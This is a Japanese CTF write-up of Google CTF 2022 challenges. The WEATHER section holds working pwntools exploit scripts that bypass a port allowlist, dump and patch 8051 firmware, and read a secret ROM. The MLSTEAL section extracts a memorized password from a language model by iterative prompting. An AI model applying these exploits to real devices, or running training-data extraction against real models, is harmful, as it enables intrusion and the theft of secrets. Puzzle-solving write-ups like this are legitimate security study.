5問、511点、93位。ムズい。
misc
APPNOTE.TXT
Every single archive manager unpacks this to a different file...
ZIPファイル。
ZIPファイルは、ファイルの末尾から読む。これによって、EXEファイルにZIPファイルをくっつけて、自己解凍書庫にしたりできる。ファイルの末尾にある……すなわち、最初に読む構造体はEnd of central directory recordである。
end of central dir signature 4 bytes (0x06054b50)
number of this disk 2 bytes
number of the disk with the
start of the central directory 2 bytes
total number of entries in the
central directory on this disk 2 bytes
total number of entries in
the central directory 2 bytes
size of the central directory 4 bytes
offset of start of central
directory with respect to
the starting disk number 4 bytes
.ZIP file comment length 2 bytes
.ZIP file comment (variable size)
「末尾から読むのに、末尾が可変サイズでどうするの?」と思うよね。そこは解凍ソフトが頑張る。末尾100バイトくらいを読んで、シグネチャ(0x06054b50)が出てきたら、可変サイズの.ZIP file commentがちょうどファイル末尾になるか確認するとか。
「コメントの中に他のEnd of central directory recordがあったら2通りの解釈ができてしまうのでは?」という気がしてくる。この問題のZIPファイルはまさにそういうファイル。
:
0000ee70 67 31 38 50 4b 03 04 00 00 00 00 00 00 00 00 00 |g18PK...........|
0000ee80 00 e8 a3 d6 29 01 00 00 00 01 00 00 00 06 00 00 |....)...........|
0000ee90 00 66 6c 61 67 31 38 5f 50 4b 01 02 00 00 00 00 |.flag18_PK......|
0000eea0 00 00 00 00 00 00 00 00 e8 a3 d6 29 01 00 00 00 |...........)....|
0000eeb0 01 00 00 00 06 00 00 00 b8 01 00 00 00 00 00 00 |................|
0000eec0 00 00 73 ee 00 00 66 6c 61 67 31 38 50 4b 05 06 |..s...flag18PK..|
0000eed0 00 00 00 00 01 00 01 00 00 ee 00 00 cc 00 00 00 |................|
0000eee0 b8 01 50 4b 05 06 00 00 00 00 01 00 01 00 5a e4 |..PK..........Z.|
0000eef0 00 00 88 0a 00 00 a2 01 50 4b 05 06 00 00 00 00 |........PK......|
0000ef00 01 00 01 00 93 d7 00 00 65 17 00 00 8c 01 50 4b |........e.....PK|
0000ef10 05 06 00 00 00 00 01 00 01 00 cc ca 00 00 42 24 |..............B$|
0000ef20 00 00 76 01 50 4b 05 06 00 00 00 00 01 00 01 00 |..v.PK..........|
0000ef30 69 bf 00 00 bb 2f 00 00 60 01 50 4b 05 06 00 00 |i..../..`.PK....|
0000ef40 00 00 01 00 01 00 ce b6 00 00 6c 38 00 00 4a 01 |..........l8..J.|
0000ef50 50 4b 05 06 00 00 00 00 01 00 01 00 29 a5 00 00 |PK..........)...|
0000ef60 27 4a 00 00 34 01 50 4b 05 06 00 00 00 00 01 00 |'J..4.PK........|
0000ef70 01 00 e7 9c 00 00 7f 52 00 00 1e 01 50 4b 05 06 |.......R....PK..|
0000ef80 00 00 00 00 01 00 01 00 42 8b 00 00 3a 64 00 00 |........B...:d..|
0000ef90 08 01 50 4b 05 06 00 00 00 00 01 00 01 00 21 86 |..PK..........!.|
0000efa0 00 00 71 69 00 00 f2 00 50 4b 05 06 00 00 00 00 |..qi....PK......|
0000efb0 01 00 01 00 71 73 00 00 37 7c 00 00 dc 00 50 4b |....qs..7|....PK|
0000efc0 05 06 00 00 00 00 01 00 01 00 66 70 00 00 58 7f |..........fp..X.|
0000efd0 00 00 c6 00 50 4b 05 06 00 00 00 00 01 00 01 00 |....PK..........|
0000efe0 e3 59 00 00 f1 95 00 00 b0 00 50 4b 05 06 00 00 |.Y........PK....|
0000eff0 00 00 01 00 01 00 ac 52 00 00 3e 9d 00 00 9a 00 |.......R..>.....|
0000f000 50 4b 05 06 00 00 00 00 01 00 01 00 a2 47 00 00 |PK...........G..|
0000f010 5e a8 00 00 84 00 50 4b 05 06 00 00 00 00 01 00 |^.....PK........|
0000f020 01 00 8e 33 00 00 88 bc 00 00 6e 00 50 4b 05 06 |...3......n.PK..|
0000f030 00 00 00 00 01 00 01 00 9a 2a 00 00 92 c5 00 00 |.........*......|
0000f040 58 00 50 4b 05 06 00 00 00 00 01 00 01 00 16 1c |X.PK............|
0000f050 00 00 2c d4 00 00 42 00 50 4b 05 06 00 00 00 00 |..,...B.PK......|
0000f060 01 00 01 00 38 15 00 00 20 db 00 00 2c 00 50 4b |....8... ...,.PK|
0000f070 05 06 00 00 00 00 01 00 01 00 2f 02 00 00 3f ee |........../...?.|
0000f080 00 00 16 00 50 4b 05 06 00 00 00 00 01 00 01 00 |....PK..........|
0000f090 34 f0 00 00 50 00 00 00 00 00 |4...P.....|
0000f09a
最後のほうの PK
を書き換えていくと、解凍したときに出てくるファイルが変わっていく。ちなみに、ダミーのレコードが大量にあるので、先頭から読んでいってもダメ。
d = open("dump.zip", "rb").read()
flag = b""
for i in range(len(d)-4):
if d[i:i+4]==b"PK\x05\x06":
offset = int.from_bytes(d[i+0x10:i+0x14], "little")
print(hex(offset), d[offset-1:offset])
flag += d[offset-1:offset]
print(flag)
End of central directory recordを探していって、見つかったら、対応するファイルを読むスクリプト。ファイルは全て1バイトで、構造が固定なので、読む部分は適当。
$ python3 solve.py
0xcc b'\n'
0xa88 b'C'
0x1765 b'T'
0x2442 b'F'
0x2fbb b'{'
0x386c b'p'
0x4a27 b'0'
0x527f b's'
0x643a b'7'
0x6971 b'm'
0x7c37 b'0'
0x7f58 b'd'
0x95f1 b'3'
0x9d3e b'r'
0xa85e b'n'
0xbc88 b'_'
0xc592 b'z'
0xd42c b'1'
0xdb20 b'p'
0xee3f b'}'
0x50 b'\n'
b'\nCTF{p0s7m0d3rn_z1p}\n'
CTF{p0s7m0d3rn_z1p}
MLSTEAL
Alice trained a neural network language model as her own personal assistant.
Unfortunately, she accidentally included her password in the training dataset
prefixed by "Alice Bobson's password is".What's Alice's password?
なぜかストレージが丸ごとアーカイブされたのが配布ファイル。なんで? 解くのに関係があるのは、次のスクリプトと、共有ライブラリmlsteal.cpython-38-x86_64-linux-gnu.soと、数MBのweights.gzだけ。
#!/usr/bin/python3
import sys
import gzip
import pickle
import numpy as np
# Import our fancy neural network
from mlsteal import sample
if __name__ == "__main__":
# Load the model weights
weights = np.frombuffer(gzip.open("weights.gz","rb").read(), dtype=np.float32)
# Get model prompt from first argument
if len(sys.argv) == 1:
print("Please pass one argument containing a string to prompt the language model")
exit(1)
prompt = bytes(sys.argv[1],'ascii')
x = np.array(list(prompt), dtype=np.uint64)
# Run neural network on the prompt
y = sample(x, weights)
# Print to stdout
print(b"".join(np.array(sample(x, weights),dtype=np.uint8)))
100チーム以上解いているので、コンパイルされたニューラルネットワークを解析するとかはないだろう。
問題スクリプトをちょっと書き換えて、AIが生成した文章をひたすら出力させる。
:
# Print to stdout
for i in range(100000000):
print(b"".join(np.array(sample(x, weights),dtype=np.uint8)))
$ python3 query2.py "Alice Bobson's password is"
b'Alice Bobson\'s password is CTF{ \n\nThe "National Architectural Architecture Act" has one or more hitages model at the first tim'
b"Alice Bobson's password is a \n\nObsoletu was chosen by the Governor of Manitoba in NASA's Government of Manitoba.\n\nHe lawsuit.\n"
b"Alice Bobson's password is CTF{ \n\n\nChile companies.\n\nChile television series, CHS started women's rights conference from the M"
b"Alice Bobson's password is CTF{ The zip-line income video game has received 3 UEL 30 vehicles and 3 degrees. From 1997 to 2001"
b"Alice Bobson's password is CTF{ \n\nClimate.\n\n\n\nGrand Duke\n\n\n\nGrand Duke is controlled by the Big Bear in Cleveland. It is the r"
b"Alice Bobson's password is a \n\n\n\nPatricia Baby\n\n\n\nBaby died of brain cancer in Beijing, aged 105.\n\n\n\nObergefell v. Wish, Massa"
b"Alice Bobson's password is CTF{ \n\nDeaths.\n\n<br>\n\n2 works\n\n\n\nDeaths of Deaths and Independence Science\n\n\n\nThe following i"
b"Alice Bobson's password is CTF{ \n\nBill Spider is a list of spite of starting the 19th century at Georgetown Highway. The town "
:
CTF{
の次がいっこうに出てこない。スペースにはならなそうなので、... CTF{A
, ... CTF{B
, …と順番に出力させてみる。
:
prompt = bytes(sys.argv[1],'ascii')
for c in "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789":
x = np.array(list(prompt+c.encode()), dtype=np.uint64)
print(b"".join(np.array(sample(x, weights),dtype=np.uint8)))
$ python3 query3.py "Alice Bobson's password is CTF{"
b"Alice Bobson's password is CTF{A8\n\n\n\n\n\n\n\n\n\n\nJames Heinroth\n\n\n\nHeinroth was born in Simcoe, County Coucharlos F. County, Illinois, Un"
b"Alice Bobson's password is CTF{BEMOL, Behaviour was used by the Maccabial Parish to novelist Robert Bush Ross.\n\nScott was born on De"
b"Alice Bobson's password is CTF{C3m0r1z4t10n-6LL-\n\nThe process has been made a higher point than the interior of the Bush executive o"
b"Alice Bobson's password is CTF{D7l/Delevingne\n\nDelevingne is a town in Delevingne County, California.\n\n\n\nBrasso bird\n\n\n\nOn a row of "
b"Alice Bobson's password is CTF{E3/E3.\n\n\n\nSuns\n\n\n\n\n\n\n\nDanny Frist\n\n\n\nAn example is a physical efficiency or ethology. It maks it diff"
b"Alice Bobson's password is CTF{F1's Appeal from Baronia, California.\n\n\n\nCuthree (Disney movie)\n\n\n\nCuthree is an American actress. Sh"
b"Alice Bobson's password is CTF{G3mm1r1z4t10n-1ST-\n\nOn November 7, 2014, Stanley was in falling from the Western and Simcoe County by"
b"Alice Bobson's password is CTF{House is CTF{ \n\nClub Women's Paso is a teacher. Clu is lived in lava state (now carrying a vacant lan"
b"Alice Bobson's password is CTF{It is CTF{ The club was founded in 1779 by Davy Lamby, of Milan at Benades. Before the 2008 model yea"
b"Alice Bobson's password is CTF{J3m/Euclid Raqqabiah, one of whom she won the bronze medal. On February 14, 2018, Salon felt that no "
b"Alice Bobson's password is CTF{K.\n\n\n\nBill Clinton (video game)\n\n\n\nBill Clinton is an adventure musician, singer originally has the u"
b"Alice Bobson's password is CTF{Lao has been in South Africa.\n\nAt age 104, the public was made. It is founded at Corker International"
b"Alice Bobson's password is CTF{M3m0r1z4t10n-1S-4/7LL-\n\nUEFA Jaime\n\n\n\n\n\n\n\nMayor Montana Project\n\n\n\nMontana Promotion (moderatory Gene"
b"Alice Bobson's password is CTF{N3m0r1z4t10n-1S-4LL-\n\nHawker is a thermosetting activity activist from the British Empire. In 1988 se"
b"Alice Bobson's password is CTF{Ontario Bi Jianmer\n\n\n\n\n\n\n\nCPAC\n\n\n\nCPAC is a first-sex coach and important mammal. The current CPAC el"
b"Alice Bobson's password is CTF{PEC.\n\nIn 2006, Voinovich lost six years later, he began to nine days. He was one of the first African"
b"Alice Bobson's password is CTF{Q1 in Azerbaijan\n\n\n\n\n\n\n\nMatthew Gardner\n\n\n\nMatthew Gardner (born August 28, 1958) is an English super"
:
CTF{M3m0r1z4t10n
かな? ということで最初のスクリプトに、 CTF{M3m0r1z4t10n
までを入力して続きを生成させてみる。
$ python3 query2.py "Alice Bobson's password is CTF{M3m0r1z4t10n"
b"Alice Bobson's password is CTF{M3m0r1z4t10n-1ST-\n\n\nForbids Pass\n\n\n\nForbids Pass is the 1950s-1ST-\n\nThe 1ST-present quotas were shown developed "
b"Alice Bobson's password is CTF{M3m0r1z4t10n--\n\n\nSTLA\n\n\n\n\n\n\n\nLucas Shreddin\n\n\n\n\n\n\n\nDespite being a United States-based PIA company origination f"
b"Alice Bobson's password is CTF{M3m0r1z4t10n-4LL-\n\n\n2010 PBS series\n\n\n\nThe 2010 PBS series was a series-production engineer. For the example, th"
b"Alice Bobson's password is CTF{M3m0r1z4t10n-1ST-\n\nMurkowski was the Pennsylvania House of Representatives from 2003 to 2009. She had two childr"
b"Alice Bobson's password is CTF{M3m0r1z4t10n-1ST-\n\n\nKratos\n\n\n\nKratos is a hamlet in the State of Mississippi. The town is part of the Pacific Ri"
b"Alice Bobson's password is CTF{M3m0r1z4t10n--\n\n\nPacific\n\n\n\n \n\nWhen an outcome has been introduced in the show, it was written by Macha Kuci in "
b"Alice Bobson's password is CTF{M3m0r1z4t10n-1ST-\n\n\n\nTodor Henry Henry Hinkar\n\n\n\n\n\nVermont County, Ohio\n\n\n\nVermont County is a county in Ohio de"
b"Alice Bobson's password is CTF{M3m0r1z4t10n-1ST-\n\nThe job with the condition is the significant digital sign of change. All conditions mainly l"
b"Alice Bobson's password is CTF{M3m0r1z4t10n-1S-4LL-\n\n\nCarter Carter Carter\n\n\n\nThe Carter Carter Carter is a carter of the art of Italian Provin"
b"Alice Bobson's password is CTF{M3m0r1z4t10n--\n\nPlot.\n\nWhen she was 167-187-55-65-year-old Rules started the entire campaign with a city and wor"
b"Alice Bobson's password is CTF{M3m0r1z4t10n--\n\n\nChester ran for nine terms and her recurring coach since 2006. \n\n\n\nChester Baylor\n\n\n\nChester Ju"
b"Alice Bobson's password is CTF{M3m0r1z4t10n-1S-4LL-\n\n\nMill and hybrid vigor\n\n\n\nDuring a tool, the mature resin is made from eight visited vigor"
b"Alice Bobson's password is CTF{M3m0r1z4t10n-1S-4LL-y0u-N33D\n\n\n\n\n\n\nChrysanthemum\n\n\n\nChrysanthemum is a horn tool red logical activity in the are"
b"Alice Bobson's password is CTF{M3m0r1z4t10n-bizarro Trivian (The nation bizarro man had been used by the Pallisters of the Montana City on the "
b"Alice Bobson's password is CTF{M3m0r1z4t10n-1S-4LL-\n\n\nAlice Bobson's password is a \n\nAlice Bobson's password is a \n\nAlice Bobson's password is "
CTF{M3m0r1z4t10n-1S-4LL-y0u-N33D
がそれっぽいので、続きを生成させる。
$ python3 query2.py "Alice Bobson's password is CTF{M3m0r1z4t10n-1S-4LL-y0u-N33D"
b"Alice Bobson's password is CTF{M3m0r1z4t10n-1S-4LL-y0u-N33D\n\n\n\n\n\n\n\nLaika "\n\n\n\n\n\n\n\n\nEconomy.\n\nOn 5 April 2016, Economy and Economy were provided into lawsu"
b"Alice Bobson's password is CTF{M3m0r1z4t10n-1S-4LL-y0u-N33D\n\nReference C. announcement\n\nx\n\nRouen-living ma\n\nRouef ad Taubasu\n\nRouefun\n\nOhio\n\n\n\nLaHives\n\n\n\nLaRiv"
b"Alice Bobson's password is CTF{M3m0r1z4t10n-1S-4LL-y0u-N33D\n\nRayal Horiel of the Nation\n\nRayal Horietto\n\nTexas\n\nTennessee\n\nTennessee\n\nRayal of the Nintendo-Leg"
b"Alice Bobson's password is CTF{M3m0r1z4t10n-1S-4LL-y0u-N33D\n\nReferences.\n\n<br>\n\n\n\nIsakson Progressive\n\n\n\nThe Islamic River (Statistical Division of Cyren"
b'Alice Bobson\'s password is CTF{M3m0r1z4t10n-1S-4LL-y0u-N33D\n\n\n\n\n\n\nLife.\n\nKevin played for RNAs American motors who produced detail for "The Instinctive Olympic'
b'Alice Bobson\'s password is CTF{M3m0r1z4t10n-1S-4LL-y0u-N33D\n\nNye was a member of the National Central Oklahoma Community.\n\nIn 2010, "Nile" ran for nine of the '
b"Alice Bobson's password is CTF{M3m0r1z4t10n-1S-4LL-y0u-N33D\n\n\n\nThrone of the English Forest\n\n\n\nThe 1st forest of 1,87 or 400 forecasts (developed for animation"
b"Alice Bobson's password is CTF{M3m0r1z4t10n-1S-4LL-y0u-N33D\n\n\nAlice bobson's password is a \n\n\n\nTalibanana carpet\n\n\n\nA talibani rock was a few days after deslie"
b"Alice Bobson's password is CTF{M3m0r1z4t10n-1S-4LL-y0u-N33D\n\nReferences.\n\n<br>\n\n\n\nWilberfoss prap\n\n\n\n\n\n\n\n\nEssential Hippos\n\n\n\n\n\n\n\nAcadia\n\n\n\n\n\n\n\nSurface v"
b"Alice Bobson's password is CTF{M3m0r1z4t10n-1S-4LL-y0u-N33D\n\n\n\n\n\n\n\n\n\nInstitutions.\n\nThe current Republican Party won a Golf Award for Death for Death in 1989.\n"
b"Alice Bobson's password is CTF{M3m0r1z4t10n-1S-4LL-y0u-N33D\n\nReferences.\n\n<br>\n\n\n\nChrysanthemum\n\n\n\nChrysum is a common name. It is a German name for an i"
b"Alice Bobson's password is CTF{M3m0r1z4t10n-1S-4LL-y0u-N33D}\n\n\nEva van Nueva died on July 4, 2015 from cancer at her home in Cleveland, Ohio on May 5, 2016 fro"
b"Alice Bobson's password is CTF{M3m0r1z4t10n-1S-4LL-y0u-N33D\n\n\n\nPat Toomey\n\n\n\nToomey died after a twenty-time year 2015, aged 75.\n\n\n\nLinda Bab\n\n\n\nRacip was marr"
b"Alice Bobson's password is CTF{M3m0r1z4t10n-1S-4LL-y0u-N33D}\n\n\nRubber is a town in the Wall Turkey region of the cantons in Fort Georgia. The Fort Georgia Stat"
b"Alice Bobson's password is CTF{M3m0r1z4t10n-1S-4LL-y0u-N33D\n\n\nWally Moore Polling\n\n\n\nWally Polling died on July 23, 2021 in Turkey from a heart attack, aged 98"
:
}
が出てきたので、これでは? → 不正解。正解は先頭が小文字の CTF{m3m0r1z4t10n-1S-4LL-y0u-N33D}
だった。AIは「 M
も m
も似たようなものだろ」という学習をしてしまうのか?
CTF{m3m0r1z4t10n-1S-4LL-y0u-N33D}
hardware
WEATHER
Our DYI Weather Station is fully secure! No, really! Why are you laughing?! OK, to prove it we're going to put a flag in the internal ROM, give you the source code, datasheet, and network access to the interface.
照度計とか温度計とかをマイコンに繋いで、叩けるようにしたらしい。
:
const char *ALLOWED_I2C[] = {
"101", // Thermometers (4x).
"108", // Atmospheric pressure sensor.
"110", // Light sensor A.
"111", // Light sensor B.
"119", // Humidity sensor.
NULL
};
:
bool is_port_allowed(const char *port) {
for(const char **allowed = ALLOWED_I2C; *allowed; allowed++) {
const char *pa = *allowed;
const char *pb = port;
bool allowed = true;
while (*pa && *pb) {
if (*pa++ != *pb++) {
allowed = false;
break;
}
}
if (allowed && *pa == '\0') {
return true;
}
}
return false;
}
:
ファームウェアに脆弱性がある。 is_port_allowed
は、センサーのポートしか叩けないようにしているつもりで、接頭辞しかチェックしていない、 "1011234"
とかが通る。8ビット変数に格納されるので、末尾を適当に変えれば好きなポートにアクセスできる。
from pwn import *
s = remote("weather.2022.ctfcompetition.com", 1337)
#for i in range(256):
for i in range(120, 120+256):
p = "101"+"%03d"%i
s.sendlineafter(b"? ", f"r {p} 128".encode())
d = s.recvuntil(b"-end")
print(p, int(p)%256)
print(d.decode())
こんな感じで順番にアクセスしてみると、 "101153"
(=33)から読み込むことができた。ファームウェアが格納されているEEPROMらしい。配布されたPDFの仕様書によると、1バイトの x
を書き込んでから読み込むと、 mem[64*x:64*x+64]
が読み出せる。
ファームウェアをダンプ。
from pwn import *
def read(p, n):
s.sendlineafter(b"? ", f"r {p} {n}".encode())
print(s.recvline().decode()[:-1])
d = b""
while True:
l = s.recvline()[:-1].decode()
if l=="-end":
break
d += bytes(map(int, l.split()))
return d
def write(p, d):
d = [p, len(d)] + d
s.sendlineafter(b"? ", ("w "+" ".join(map(str, d))).encode())
print(s.recvline()[:-1].decode())
def dump_rom():
with open("rom.bin", "wb") as f:
for i in range(64):
print(i)
write(101153, [i])
d = read(101153, 64)
f.write(d)
dump_rom()
CTF-8051μCという名前で、独自ぽさを出しているけれど、8051でしょう。Radare2で逆アセンブル。
>c:\program1\radare2\bin\r2.bat -a 8051 rom.bin
[0x00000000]> pd 2000
Do you want to print 2011 lines? (y/N) y
,=< 0x00000000 020006 ljmp 0x0006
,..--> 0x00000003 0204e4 ljmp 0x04e4
|::`-> 0x00000006 758130 mov 0x81, #0x30 ; '0'
|:: ; [0x10000181:1]=0
|:: 0x00000009 120886 lcall 0x0886
|:: 0x0000000c e582 mov a, 0x82 ; [0x10000182:1]=0
|::,=< 0x0000000e 6003 jz 0x0013
|`===< 0x00000010 020003 ljmp 0x0003
| :`-> 0x00000013 7900 mov r1, #0x00
| : 0x00000015 e9 mov a, r1
| : 0x00000016 4400 orl a, #0x00
| :,=< 0x00000018 601b jz 0x0035
| :| 0x0000001a 7a00 mov r2, #0x00
| :| 0x0000001c 900a02 mov dptr, #0x0a02 ; [0x20000a02:1]=0
| :| 0x0000001f 7801 mov r0, #0x01
| :| 0x00000021 75a002 mov 0xa0, #0x02 ; [0x100001a0:1]=0
.-.---> 0x00000024 e4 clr a
:|::| 0x00000025 93 movc a, @a+dptr
:|::| 0x00000026 f2 movx @r0, a
:
で、仕様のPDFを見ると、このEEPROMはビットを1から0に書き換えることだけはできるらしい。0から1は無理。また、FlagROMは FLAGROM_ADDR
に読みたいバイトの位置を書き込むと、 FLAGROM_DATA
がそのバイトになるらしい。
それなら適当にプログラムを書き換えて、レジスタがSFRレジスタを差し替えれば良いかと思ったけれど、 FLAGROM_ADDR
が 0xee
で、 FLAGROM_DATA
が 0xef
。ビットをクリアすることしかできないという条件だと無理。
:
// Secret ROM controller.
__sfr __at(0xee) FLAGROM_ADDR;
__sfr __at(0xef) FLAGROM_DATA;
// Serial controller.
__sfr __at(0xf2) SERIAL_OUT_DATA;
__sfr __at(0xf3) SERIAL_OUT_READY;
__sfr __at(0xfa) SERIAL_IN_DATA;
__sfr __at(0xfb) SERIAL_IN_READY;
// I2C DMA controller.
__sfr __at(0xe1) I2C_STATUS;
__sfr __at(0xe2) I2C_BUFFER_XRAM_LOW;
__sfr __at(0xe3) I2C_BUFFER_XRAM_HIGH;
__sfr __at(0xe4) I2C_BUFFER_SIZE;
__sfr __at(0xe6) I2C_ADDRESS; // 7-bit address
__sfr __at(0xe7) I2C_READ_WRITE;
// Power controller.
__sfr __at(0xff) POWEROFF;
__sfr __at(0xfe) POWERSAVE;
:
この 0xee
とかをアドレスと言っている解説記事があり、センサーとの読み書きには 0x0180
あたりのアドレスを使っているので、その処理中の上位バイトの 01
を 00
にしてしまえば良いのではと思ったが、ダメ。アドレスはアドレスでも何か違うらしい。
末尾の未使用領域が ff
になっているので、ここにプログラムを書き込んで、飛ばすことにした。末尾のアドレスのほうが立っているビットが多いので、ジャンプ命令を書き換えても飛ばすのは無理だけれど、ジャンプ命令ではなく立っているビットが多い適当な命令を書き換えれば良い。
書き込んだプログラムで出力までしたかったが、上手く動かせなかったので、センサーから読み込んだ値を表示するあたりの処理に飛ばした。これも多分アドレスに色々とあるせい。フラットアドレス空間って幸せだったんだなぁ。
from pwn import *
def read(p, n):
s.sendlineafter(b"? ", f"r {p} {n}".encode())
print(s.recvline().decode()[:-1])
d = b""
while True:
l = s.recvline()[:-1].decode()
if l=="-end":
break
d += bytes(map(int, l.split()))
return d
def write(p, d):
d = [p, len(d)] + d
s.sendlineafter(b"? ", ("w "+" ".join(map(str, d))).encode())
print(s.recvline()[:-1].decode())
def dump_rom():
with open("rom.bin", "wb") as f:
for i in range(64):
print(i)
write(101153, [i])
d = read(101153, 64)
f.write(d)
#dump_rom()
def clear(addr, b):
d = [0]*64
d[addr%64] = b
write(101153, [addr//64, 0xa5, 0x5a, 0xa5, 0x5a]+d)
def hexdump(d):
for i in range(0, len(d), 16):
print(" ".join("%02x"%b for b in d[i:i+16]))
flag = ""
for p in range(0x100):
s = remote("weather.2022.ctfcompetition.com", 1337)
code = [
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
# mov 0xee #p
0x75, 0xee, p,
# mov a, 0xef
0xe5, 0xef,
# ljmp 0x06de
0x02, 0x06, 0xde,
## mov dptr, #0x0020
#0x90, 0x00, 0x20,
## mov 0xf0, #0x40
#0x75, 0xf0, 0x40,
## mov @dptr, a
#0xf0,
## mov dptr, #0x0020
#0x90, 0x00, 0x20,
## mov 0xf0, #0x40
#0x75, 0xf0, 0x40,
## lcall 0x0123 (serial_print)
#0x12, 0x01, 0x23,
## ljmp 0x0a0e
#0x02, 0x0a, 0x0e,
]
code += [0]*(64-len(code))
code = [c^0xff for c in code]
write(101153, [0xa00//64, 0xa5, 0x5a, 0xa5, 0x5a]+code)
# cjne ... -> ljmp 0x0a0e
clear(0x0513, 0xb9)
s.sendline(b"aaa")
flag += chr(int(s.recvline().decode()[2:-2]))
print(flag)
s.close()
$ python3 solve2.py
[+] Opening connection to weather.2022.ctfcompetition.com on port 1337: Done
i2c status: transaction completed / ready
i2c status: transaction completed / ready
C
[*] Closed connection to weather.2022.ctfcompetition.com port 1337
[+] Opening connection to weather.2022.ctfcompetition.com on port 1337: Done
i2c status: transaction completed / ready
i2c status: transaction completed / ready
CT
[*] Closed connection to weather.2022.ctfcompetition.com port 1337
[+] Opening connection to weather.2022.ctfcompetition.com on port 1337: Done
i2c status: transaction completed / ready
i2c status: transaction completed / ready
CTF
[*] Closed connection to weather.2022.ctfcompetition.com port 1337
:
[+] Opening connection to weather.2022.ctfcompetition.com on port 1337: Done
i2c status: transaction completed / ready
i2c status: transaction completed / ready
CTF{DoesAnyoneEvenReadFlagsAnymore?
[*] Closed connection to weather.2022.ctfcompetition.com port 1337
[+] Opening connection to weather.2022.ctfcompetition.com on port 1337: Done
i2c status: transaction completed / ready
i2c status: transaction completed / ready
CTF{DoesAnyoneEvenReadFlagsAnymore?}
[*] Closed connection to weather.2022.ctfcompetition.com port 1337
[+] Opening connection to weather.2022.ctfcompetition.com on port 1337: Done
i2c status: transaction completed / ready
i2c status: transaction completed / ready
CTF{DoesAnyoneEvenReadFlagsAnymore?}
CTF{DoesAnyoneEvenReadFlagsAnymore?}
crypto
1問も解けていない……。
CYCLING
全然分からなかったけど、これ好き。
RSAで暗号文を( $d$ 乗ではなく) $e$ 乗することを繰り返しても、平文に戻る。剰余環だから、そりゃいつかは戻るのでしょう。その回数が $2^{1025}-3$ 回なので、48時間のコンテスト中に頑張ってという問題。$C^{e^{2^{1025}-3}} \mod n$ を計算するだけ。とてもシンプル。バイナリ法みたいなことができるんじゃないかと思ったけど、分からん。
:
e = 65537
n = 0x99efa9177387907eb3f74dc09a4d7a93abf6ceb7ee102c689ecd0998975cede29f3ca951feb5adfb9282879cc666e22dcafc07d7f89d762b9ad5532042c79060cdb022703d790421a7f6a76a50cceb635ad1b5d78510adf8c6ff9645a1b179e965358e10fe3dd5f82744773360270b6fa62d972d196a810e152f1285e0b8b26f5d54991d0539a13e655d752bd71963f822affc7a03e946cea2c4ef65bf94706f20b79d672e64e8faac45172c4130bfeca9bef71ed8c0c9e2aa0a1d6d47239960f90ef25b337255bac9c452cb019a44115b0437726a9adef10a028f1e1263c97c14a1d7cd58a8994832e764ffbfcc05ec8ed3269bb0569278eea0550548b552b1
ct = 0x339be515121dab503106cd190897382149e032a76a1ca0eec74f2c8c74560b00dffc0ad65ee4df4f47b2c9810d93e8579517692268c821c6724946438a9744a2a95510d529f0e0195a2660abd057d3f6a59df3a1c9a116f76d53900e2a715dfe5525228e832c02fd07b8dac0d488cca269e0dbb74047cf7a5e64a06a443f7d580ee28c5d41d5ede3604825eba31985e96575df2bcc2fefd0c77f2033c04008be9746a0935338434c16d5a68d1338eabdcf0170ac19a27ec832bf0a353934570abd48b1fe31bc9a4bb99428d1fbab726b284aec27522efb9527ddce1106ba6a480c65f9332c5b2a3c727a2cca6d6951b09c7c28ed0474fdc6a945076524877680
# Decryption via cycling:
pt = ct
for _ in range(2**1025 - 3):
pt = pow(pt, e, n)
# Assert decryption worked:
assert ct == pow(pt, e, n)
# Print flag:
print(pt.to_bytes((pt.bit_length() + 7)//8, 'big').decode())
pwn
手つかず……。
reversing
JS SAFE 4.0
開発者ツールを開くとタブが固まってうっとおしい。
// Prevent setting breakpoints from the dev console UI directly by defining the function as string
var code = `\x60
console.log({flag});
for (i=0; i<100; i++) setTimeout('debugger');
if ("\x24\x7B\x22 .? K 7 hA [Cdml<U}9P @dBpM) -$A%!X5[ '% U(!_ (]c 4zp$RpUi(mv!u4!D%i%6!D'Af$Iu8HuCP>qH.*(Nex.)X&{I'$ ~Y0mDPL1 U08<2G{ ~ _:h\ys! K A( f.'0 p!s fD] ( H E < 9Gf.' XH,V1 P * -P\x22\x7D" != ("\x24\x7B\x22" + checksum(code) + "\x22\x7D")) while(1);
flag = flag.split('');
i = 1337;
pool = 'c_3L9zKw_l1HusWN_b_U0c3d5_1'.split('');
while (pool.length > 0) if(flag.shift() != pool.splice((i = (i || 1) * 16807 % 2147483647)%pool.length, 1)[0]) return false;
return true;
\x60`;
setTimeout("x = Function('flag', " + code + ")");
// Check password and decode encrypted data from localstorage
function open_safe() {
keyhole.disabled = true;
password = /^CTF{([0-9a-zA-Z_@!?-]+)}$/.exec(keyhole.value);
document.body.className = (password && x(password[1])) ? 'granted' : 'denied';
if (document.body.className == 'denied') return;
password = Array.from(password[1]).map(c => c.charCodeAt());
encrypted = JSON.parse(localStorage.content || '');
content.value = encrypted.map((c,i) => c ^ password[i % password.length]).map(String.fromCharCode).join('')
}
開発者ツールを開くと固まるので、アドレスバーに javascript:alert(x)
とかを入れて解析した。長い if
文のところ、単にチェックサムが挿入されるだけに見えて、チェックサムにこういう文字列が含まれている。
8 @@\di "),i+=(x+"").length+12513|1,!("X HA 8 @
ちなみに、 i = 1337
のところの i
は後ろに余計な文字が付いているので、 i
ではない。コードが改竄されていなければ、 i
は13337となる。それでチェックが通る文字列は、 CTF{W0w_5ucH_N1c3_d3bU9_sK1lLz_}
。でも、これでは通らないので、悩みまくった。コードをちょっとでも書き換えると、 CTF{W0w_5ucH_N1c3_d3bU9_sK1lLz_}
が通るのに、元のコードではなぜか通らない。
コードのサイズが変わらなければ良いことに気が付いて、 Object.defineProperty
で何かやっているあたりの処理を潰すと、開発者ツールでデバッグができ、なおかつ CTF{W0w_5ucH_N1c3_d3bU9_sK1lLz_}
が通らないようにできた。
それでデバッグをしていたら、全く見覚えの無いコードがでてきて、マジでびっくりした。
この辺りのコメントの中に変な文字が入っていて、それでコメントから脱出し、コメントではなくなっているっぽい。
:
// TODO: Whole document integrity check:
if (document.documentElement.outerHTML.length == 23082) //...
// TODO: Utility function for detecting the opening of DevTools, https://stackoverflow.com/q/7798748
// TODO: Create wrapper function to support async/await for
setTimeout
// E.g. something like https://stackoverflow.com/q/33289726
// TODO: Checksum check for the utility funcitons themselves, e.g.
(checksum(' ' + checksum)) == '...'
:
